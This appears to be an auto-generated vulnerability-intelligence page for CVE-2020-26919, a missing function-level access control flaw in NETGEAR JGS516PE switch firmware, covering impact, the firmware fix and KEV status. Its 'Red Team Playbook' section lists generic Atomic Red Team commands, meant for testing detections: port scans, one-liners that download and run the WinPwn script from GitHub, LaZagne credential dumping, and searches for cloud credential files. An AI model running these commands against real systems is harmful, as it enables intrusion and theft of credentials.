CVE-2020-26919
Overview
This vulnerability is a missing function-level access control flaw in the NETGEAR JGS516PE firmware prior to version 2.6.0.43. The root cause lies in insufficient authorization checks on critical management functions, allowing unauthenticated users to invoke administrative commands. The affected component is the device's web management interface, specifically the function handling POST requests to the /login.htm endpoint.
Vulnerability Description
NETGEAR JGS516PE devices before 2.6.0.43 are affected by lack of access control at the function level.
Impact
An attacker without any authentication can execute arbitrary commands on the affected device remotely, potentially leading to full system compromise. This includes downloading and executing malicious payloads, which can disrupt network operations or facilitate lateral movement within an enterprise environment. The vulnerability exposes critical network infrastructure to unauthorized control, risking data breach and service disruption.
Solution
NETGEAR addressed this vulnerability in firmware version 2.6.0.43 for the JGS516PE devices. Administrators should upgrade to this version or later as detailed in NETGEAR's security advisory (https://kb.netgear.com/000062334). No alternative workarounds are provided, so applying the official firmware update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in NETGEAR JGS516PE devices stems from a significant lack of access control at the function level, which allows unauthorized users to gain access to sensitive functionalities of the device. This flaw is particularly concerning as it exposes critical management interfaces that should be restricted to authenticated users only. The absence of proper access controls means that an attacker could potentially exploit this vulnerability to execute administrative functions without valid credentials, leading to unauthorized configuration changes, data exposure, or even complete takeover of the device. The affected firmware versions prior to 2.6.0.43 are particularly vulnerable, emphasizing the need for users to ensure they are running the latest updates.
Attack vectors for this vulnerability are quite varied, as the lack of access control can be exploited remotely. An attacker could leverage this flaw by scanning for vulnerable devices on the network and then sending crafted requests to the management interface. This could be done from within the local network or, in certain configurations, from the internet if the device is improperly exposed. Once access is gained, the attacker could manipulate settings, disable security features, or redirect traffic, potentially leading to further network compromises. Scenarios could include an attacker changing VLAN configurations to intercept traffic or disabling logging to cover their tracks, making this vulnerability a serious concern for network integrity.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on NETGEAR JGS516PE devices for their network infrastructure. The potential for unauthorized access to network management functions poses significant business risks, including data breaches, service disruptions, and reputational damage. Organizations could face regulatory penalties if sensitive data is compromised due to inadequate security measures. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability is critical, suggesting that successful exploitation could lead to severe consequences, including financial losses and operational downtime.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First and foremost, they should ensure that all NETGEAR JGS516PE devices are updated to the latest firmware version, which addresses this access control issue. Regular vulnerability assessments and penetration testing should be conducted to identify any potential weaknesses in network devices and configurations. Additionally, implementing network segmentation can help limit the exposure of critical devices, reducing the risk of exploitation. Monitoring network traffic for unusual patterns or unauthorized access attempts can also provide early warning signs of potential exploitation.
In conclusion, the lack of access control in NETGEAR JGS516PE devices presents a significant threat to network security. The potential for unauthorized access to sensitive functions can lead to severe operational and financial repercussions for organizations. By staying vigilant with updates, conducting regular security assessments, and implementing robust monitoring and segmentation strategies, organizations can better protect themselves against the risks posed by this vulnerability. As the cybersecurity landscape continues to evolve, proactive measures are essential to safeguard against emerging threats.
CVE-2020-26919 has recently been incorporated into the CISA Known Exploited Vulnerabilities (KEV) catalog, reflecting a formal recognition of its critical risk by federal cybersecurity authorities. This inclusion, coupled with a substantial upward revision of its CVSS score from 0.0 to 9.8, signals a reassessment of the vulnerability’s severity based on emerging intelligence and potential impact. Additionally, the vulnerability’s Exploit Prediction Scoring System (EPSS) score has surged to a significant level, indicating an increased likelihood of exploitation in the wild. Although no new exploit techniques or active campaigns have been detected by our telemetry, the elevated EPSS score suggests that threat actors may be preparing or actively seeking to leverage this flaw. For defenders, this shift underscores the urgency to prioritize mitigation efforts and reassess exposure, particularly in environments where NETGEAR JGS516PE devices are deployed. The updated risk profile elevates the threat level to critical, emphasizing that the vulnerability now poses a more immediate and credible danger to network security than previously assessed.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Netgear | Jgs516pe Firmware | All |
cpe:2.3:o:netgear:jgs516pe_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-26919 |
| kb.netgear.com |
GitHub CVE
x_refsource_MISC
|
https://kb.netgear.com/000062334/Security-Advisory-for-Missing-Function-Level-Access-Control-on-JGS516PE-PSV-2020-0377 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-26919 |